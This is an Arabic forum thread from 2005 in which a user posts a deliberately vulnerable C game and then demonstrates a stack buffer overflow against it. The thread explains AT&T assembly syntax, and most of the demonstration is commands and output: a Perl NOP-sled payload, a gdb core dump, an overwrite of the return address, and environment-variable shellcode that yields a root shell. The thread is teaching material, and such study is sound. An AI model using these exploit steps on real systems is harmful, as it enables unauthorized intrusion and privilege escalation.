قمت بكتابه هاذا المثال البسيط بلغه C وهو عباره عن لعبه قوم انت بادخال قيمه معينه ويقوم باخبارك
ان فزت ام لا .. طبعا اي قيمه راح تدخلها راح تخسر فلازم تشوف طريقه تفوز فيها بدون
التغيير في ال sourecode
قمت بكتابه هاذا المثال البسيط بلغه C وهو عباره عن لعبه قوم انت بادخال قيمه معينه ويقوم باخبارك
ان فزت ام لا .. طبعا اي قيمه راح تدخلها راح تخسر فلازم تشوف طريقه تفوز فيها بدون
التغيير في ال sourecode
تم تعديل هذه المشاركة بواسطة Qnix في 22 أكتوبر 2005 في 14:56
شو بتعني النجمة قبل العناوين؟
08048308 jmp *0x804975c
وهي كمان
$0x1,0x8(%ebp)
شو المقصود من وضع القيمة x08 قبل اسم المسجل؟
لازم ابدا اتعلم اسمبلي على لينوكس :P
Do as I say, not as I do
We are Anonymous. We are Legion. We don't forgive. We don't forget
ال * تعني ان القيمه في العنوان الفلاني
والثانيه % للتمييز بين الريجستريات وهي سينتكس خاص ب AT&T
at&t syntax
اما ال 0x8 هي ال offset فقط هذه طريقه لكتابتها مثلا في intel syntax
تكتب بهاذا الشكل
[ebp+8]
واعتقد ان هذه الطريقه
$0x1,0x8(%ebp)
هي ل AT&T Syntax
تم تعديل هذه المشاركة بواسطة Qnix في 22 أكتوبر 2005 في 18:08
اكيد يمكن تمرير اكثر من 500 حرف في Linux .. لكن راح يكتب على ال stack
example: buffer[0x51,0x51,0x51,0x51,0x51.......]0x51,0x51,0x51,0x51...
تم تعديل هذه المشاركة بواسطة Qnix في 22 أكتوبر 2005 في 19:19
ليس لي في un*x
لكن يبدو الحل في تمرير أكثر من براميتر للبرنامج
بحيث يحتوي البراميتر الأول عدد حروف أكثر من 500 لكي يحدث Overflow
من الأحسب حساب الطول بالتدقيق لكن أظن أن 555 كافية
تحتوي Nop و تنتهي ب call موضع win
نظريا فقك
:D
صحيح كلامك ... راح اطبقه الان
root@qnix:~# ulimit -c unlimited; objdump -D hg |grep "win" | awk '{print $1}'
0804848208048482 هو عنوان الداله win()
مثل ماقلت الخطء هو buffer overflow في الداله main عند نقل محتوى [1]argv
الى buffer عن طريق الداله strcpy()
فمثل ماقلت نمرر اكثر من 500 والبضبط 504 والباقي يكتب على SFP , RET
root@qnix:~# ./hg `perl -e 'print "\x90"x504 . "\x44\x33\x22\x11"'` Hack-game v0.1 Coded by Qnix Email : Qnix[at]bsdmail[dot]org Website : 0x11.org - You should win this game . You didnt win . Segmentation fault (core dumped)
الان حدث خطء واخرج لنا ملف اسمه core يحتوىي على المعلومات ساقوم بفتح هاذا الملف بستعمال gnu debugger
root@qnix:~# gdb -c core -q Using host libthread_db library "/lib/libthread_db.so.1". (no debugging symbols found) Core was generated by `./hg '. Program terminated with signal 11, Segmentation fault. #0 0x11223344 in ?? () (gdb) info reg eax 0x0 0 ecx 0x4014a840 1075095616 edx 0x10 16 ebx 0x40149ff4 1075093492 esp 0xbffff740 0xbffff740 ebp 0x90909090 0x90909090 esi 0xbffff7a0 -1073743968 edi 0x2 2 eip 0x11223344 0x11223344 eflags 0x210246 2163270 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0xc010007b -1072693125 fs 0x0 0 gs 0x0 0
كما ترون كتب على عنوان الرجوع %eip ب 11223344 التي قمنا بأدخالها بعد طبع 504 قيمه nop
الان نقوم بتغير العنوان 11223344 الى عنوان الداله win() لكي تقوم هذه الداله بطبع رساله الفوز .
root@qnix:~# ./hg `perl -e 'print "\x90"x504 . "\x82\x84\x04\x08"'` Hack-game v0.1 Coded by Qnix Email : Qnix[at]bsdmail[dot]org Website : 0x11.org - You should win this game . You didnt win . You won . :D :D :D Segmentation fault (core dumped)
لقد طبع رساله الفوز You won . :D :D :D !!
:) هاكذا قمنا بلفوز بلقوه الان تستطيع مثلا جعل البرنامج يقفز الى اي نقطه تحددها له مثلا لو كنت
تريد التحكم في النظام او اخذ /bin/bash واستخدامه تستطيع انظر الى هاذا المثال
قمت بكتابه shellcode يقوم باتشغيل /bin/bash وقمت بعمليه تجميعه وادخاله في ملف binary
الان سوف اقوم بادخال هاذا الملف الى ال environment
وبعدها اخرج عنوانه في ال environment واجعل البرنامج يقفز لهاذا العنوان .
الملف الموجود فيه الشيل كود اسمه XXXX واسم ال environment هو XXXX
root@qnix:~# export XXXX=`cat XXXX` root@qnix:~# getenv XXXX XXXX is located at 0xbffffcd1
كما ترون عنوان الشيل كود هو bffffc71
الان سوف اجعل البرنامج hg يقفز لعنوان win() وبعدها يقوم بتشغيل الشيل كود وبكذا نفوز بلقوه
ونحصل bash نتحكم عن طريقه في النظام .
root@qnix:~# ./hg `perl -e 'print "\x90"x504 . "\x82\x84\x04\x08" . "\xd1\xfc\xff\xbf"'` Hack-game v0.1 Coded by Qnix Email : Qnix[at]bsdmail[dot]org Website : 0x11.org - You should win this game . You didnt win . You won . :D :D :D sh-3.00# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
هاذا الموضوع تعليمي وليس تحدي
تحياتي
نعم استعمل ليونكس ..
والتوزيعه هي من تركيبي قمت باستعمال نسخه لايف سيدي ومن هناك قمت
بترتيب الهاردسك والمساحه والفايل سيستيم وقمت بتركيب الكيرنل والملفات
والانفيرومنت والمكتابت وكثير من البرامج الجهازه جبتها بسرعه من سيدي
سلاكوير ووو...الخ
لو كنت تبحث عن نسخه جيده انصحك بستخدام slackware او gentoo .
( طبعا هاذا من رأيي <_< )
الحل ان الناس تبرمج صح وتكون متعلمه صح
هذا الموضوع مغلق.